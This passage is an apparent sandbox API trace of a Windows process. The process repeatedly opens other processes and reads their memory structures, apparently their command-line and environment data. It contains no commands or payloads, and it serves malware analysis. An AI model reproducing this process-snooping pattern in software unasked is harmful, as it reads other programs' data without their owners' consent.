nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0359.359] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x522228, lpBuffer=0x5ec5a0, nSize=0x44, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0359.360] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0359.360] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0359.360] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x228020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0359.360] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x521be0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0359.360] malloc (_Size=0x6c) returned 0xea90a0 [0359.360] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x52226c, lpBuffer=0xea90a0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea90a0*, lpNumberOfBytesRead=0x0) returned 1 [0359.361] free (_Block=0xea90a0) [0359.361] CloseHandle (hObject=0xa9c) returned 1 [0359.361] _ui64tow_s (in: _Value=0xa64, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2660") returned 0x0 [0359.362] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="2660") returned 4 [0359.362] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0359.362] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0359.363] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa64) returned 0xa9c [0359.363] GetLastError () returned 0x0 [0359.363] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0359.363] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c3018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0359.363] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0359.363] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5525c0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0359.363] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x552248, lpBuffer=0x5ec5a0, nSize=0x30, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0359.363] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0359.364] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0359.364] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c3020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0359.364] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x551c00, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0359.364] malloc (_Size=0x32) returned 0xe72430 [0359.364] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x552278, lpBuffer=0xe72430, nSize=0x30, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe72430*, lpNumberOfBytesRead=0x0) returned 1 [0359.365] free (_Block=0xe72430) [0359.365] CloseHandle (hObject=0xa9c) returned 1 [0359.366] _ui64tow_s (in: _Value=0xad8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2776") returned 0x0 [0359.366] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="2776") returned 4 [0359.366] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0359.366] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0359.367] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xad8) returned 0xa9c [0359.367] GetLastError () returned 0x0 [0359.367] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0359.367] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x341018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0359.367] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0359.367] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403de0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0359.367] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403a38, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0359.368] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0359.368] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0359.368] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x341020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0359.368] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4033f0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0359.368] malloc (_Size=0x72) returned 0xea9620 [0359.368] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403a78, lpBuffer=0xea9620, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9620*, lpNumberOfBytesRead=0x0) returned 1 [0359.369] free (_Block=0xea9620) [0359.369] CloseHandle (hObject=0xa9c) returned 1 [0359.369] _ui64tow_s (in: _Value=0x924, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2340") returned 0x0 [0359.370] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="2340") returned 4 [0359.370] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0359.370] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0359.371] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x924) returned 0xa9c [0359.371] GetLastError () returned 0x0 [0359.371] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0359.371] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x284018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0359.371] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0359.371] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4724e0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0359.371] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x472118, lpBuffer=0x5ec5a0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0359.371] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0359.371] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0359.371] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x284020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0359.371] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x471ad0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0359.371] malloc (_Size=0x76) returned 0xea90a0 [0359.371] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x472164, lpBuffer=0xea90a0, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea90a0*, lpNumberOfBytesRead=0x0) returned 1 [0359.372] free (_Block=0xea90a0) [0359.372] CloseHandle (hObject=0xa9c) returned 1 [0359.372] _ui64tow_s (in: _Value=0xbbc, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3004") returned 0x0 [0359.372] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3004") returned 4 [0359.373] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0359.373] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0359.373] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbbc) returned 0xa9c [0359.373] GetLastError () returned 0x0 [0359.373] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0359.374] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1075018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0359.374] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0359.374] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x14041e0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0359.374] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1403c76, lpBuffer=0x5ec5a0, nSize=0xd4, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0359.374] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0359.374] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0359.374] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1075020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0359.374] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1403590, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0359.375] malloc (_Size=0x14c) returned 0xe9ac70 [0359.375] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1403d4a, lpBuffer=0xe9ac70, nSize=0x14a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe9ac70*, lpNumberOfBytesRead=0x0) returned 1 [0359.376] free (_Block=0xe9ac70) [0359.376] CloseHandle (hObject=0xa9c) returned 1 [0359.376] _ui64tow_s (in: _Value=0xc1c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3100") returned 0x0 [0359.376] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3100") returned 4 [0359.376] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0359.376] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0359.377] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc1c) returned 0xa9c [0359.377] GetLastError () returned 0x0 [0359.377] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0359.377] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x27c018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0359.378] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0359.378] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403df0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0359.378] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403a38, lpBuffer=0x5ec5a0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0359.378] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0359.378] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0359.378] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x27c020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0359.378] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4033f0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0359.379] malloc (_Size=0x64) returned 0xeb61c0 [0359.379] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403a84, lpBuffer=0xeb61c0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb61c0*, lpNumberOfBytesRead=0x0) returned 1 [0359.380] free (_Block=0xeb61c0) [0359.380] CloseHandle (hObject=0xa9c) returned 1 [0359.380] _ui64tow_s (in: _Value=0xca4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3236") returned 0x0 [0359.381] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3236") returned 4 [0359.381] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0359.381] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0359.382] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xca4) returned 0xa9c [0359.382] GetLastError () returned 0x0 [0359.382] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0359.382] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7c9018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0359.382] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0359.383] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x8040a0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0359.383] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x803be4, lpBuffer=0x5ec5a0, nSize=0x96, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0359.384] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0359.384] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0359.384] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7c9020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0359.385] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x803520, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0359.385] malloc (_Size=0x11a) returned 0xe75b80 [0359.385] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x803c7a, lpBuffer=0xe75b80, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe75b80*, lpNumberOfBytesRead=0x0) returned 1 [0359.387] free (_Block=0xe75b80) [0359.387] CloseHandle (hObject=0xa9c) returned 1 [0359.387] _ui64tow_s (in: _Value=0xd04, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3332") returned 0x0 [0359.387] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3332") returned 4 [0359.387] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0359.387] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0359.388] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xd04) returned 0xa9c [0359.388] GetLastError () returned 0x0 [0359.388] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0359.388] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x265018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0359.388] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0359.388] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403df0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0359.389] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403a38, lpBuffer=0x5ec5a0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0359.389] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0359.389] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0359.389] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x265020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0359.389] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4033f0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0359.389] malloc (_Size=0x64) returned 0xeb6150 [0359.389] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403a84, lpBuffer=0xeb6150, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6150*, lpNumberOfBytesRead=0x0) returned 1 [0359.390] free (_Block=0xeb6150) [0359.390] CloseHandle (hObject=0xa9c) returned 1 [0359.391] _ui64tow_s (in: _Value=0xf20, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3872") returned 0x0 [0359.391] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3872") returned 4 [0359.391] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0359.391] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0359.392] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf20) returned 0xa9c [0359.392] GetLastError () returned 0x0 [0359.392] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0359.392] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x342018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0359.392] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0359.392] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d24e0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, 